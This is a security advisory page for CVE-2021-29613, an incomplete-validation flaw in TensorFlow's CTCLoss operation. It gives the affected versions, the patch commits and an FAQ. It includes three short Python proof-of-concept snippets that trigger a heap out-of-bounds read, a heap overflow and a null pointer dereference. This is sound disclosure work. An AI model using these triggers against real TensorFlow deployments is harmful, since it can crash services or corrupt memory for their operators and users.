CVE-2021-29613: Incomplete validation in `tf.raw_ops.CTCLoss`
First published: Fri May 14 2021(Updated: )
### Impact Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap: ```python import tensorflow as tf inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32) labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64) labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32) sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=True, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=True) ``` An attacker can also trigger a heap buffer overflow: ```python import tensorflow as tf inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32) labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64) labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ``` Finally, an attacker can trigger a null pointer dereference: ```python import tensorflow as tf inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32) labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64) labels_values = tf.constant([], shape=[0], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ``` ### Patches We have patched the issue in GitHub commit[14607c0707040d775e06b6817325640cb4b5864c](https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c) followed by GitHub commit [4504a081af71514bb1828048363e6540f797005b](https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b). The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| pip/tensorflow-gpu | >=2.4.0<2.4.2 | 2.4.2 |
| pip/tensorflow-gpu | >=2.3.0<2.3.3 | 2.3.3 |
| pip/tensorflow-gpu | >=2.2.0<2.2.3 | 2.2.3 |
| pip/tensorflow-gpu | <2.1.4 | 2.1.4 |
| pip/tensorflow-cpu | >=2.4.0<2.4.2 | 2.4.2 |
| pip/tensorflow-cpu | >=2.3.0<2.3.3 | 2.3.3 |
| pip/tensorflow-cpu | >=2.2.0<2.2.3 | 2.2.3 |
| pip/tensorflow-cpu | <2.1.4 | 2.1.4 |
| pip/tensorflow | >=2.4.0<2.4.2 | 2.4.2 |
| pip/tensorflow | >=2.3.0<2.3.3 | 2.3.3 |
| pip/tensorflow | >=2.2.0<2.2.3 | 2.2.3 |
| pip/tensorflow | <2.1.4 | 2.1.4 |
| TensorFlow Keras | <2.1.4 | |
| TensorFlow Keras | >=2.2.0<2.2.3 | |
| TensorFlow Keras | >=2.3.0<2.3.3 | |
| TensorFlow Keras | >=2.4.0<2.4.2 |
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Reference Links
- https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c
- https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7
- https://nvd.nist.gov/vuln/detail/CVE-2021-29613
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-541.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-739.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-250.yaml
- https://github.com/advisories/GHSA-vvg4-vgrv-xfr7 (Advisory)
Frequently Asked Questions
What is the severity of CVE-2021-29613?
The severity of CVE-2021-29613 is classified as high due to the potential for an out-of-bounds read exploit.
How do I fix CVE-2021-29613?
To fix CVE-2021-29613, upgrade to TensorFlow version 2.4.2 or later.
Which versions of TensorFlow are affected by CVE-2021-29613?
CVE-2021-29613 affects TensorFlow versions prior to 2.1.4 and between 2.2.0 and 2.4.2.
What type of vulnerability is CVE-2021-29613?
CVE-2021-29613 is an incomplete validation vulnerability that can lead to an out-of-bounds read.
Can CVE-2021-29613 be exploited remotely?
Yes, CVE-2021-29613 can potentially be exploited remotely through crafted input data.
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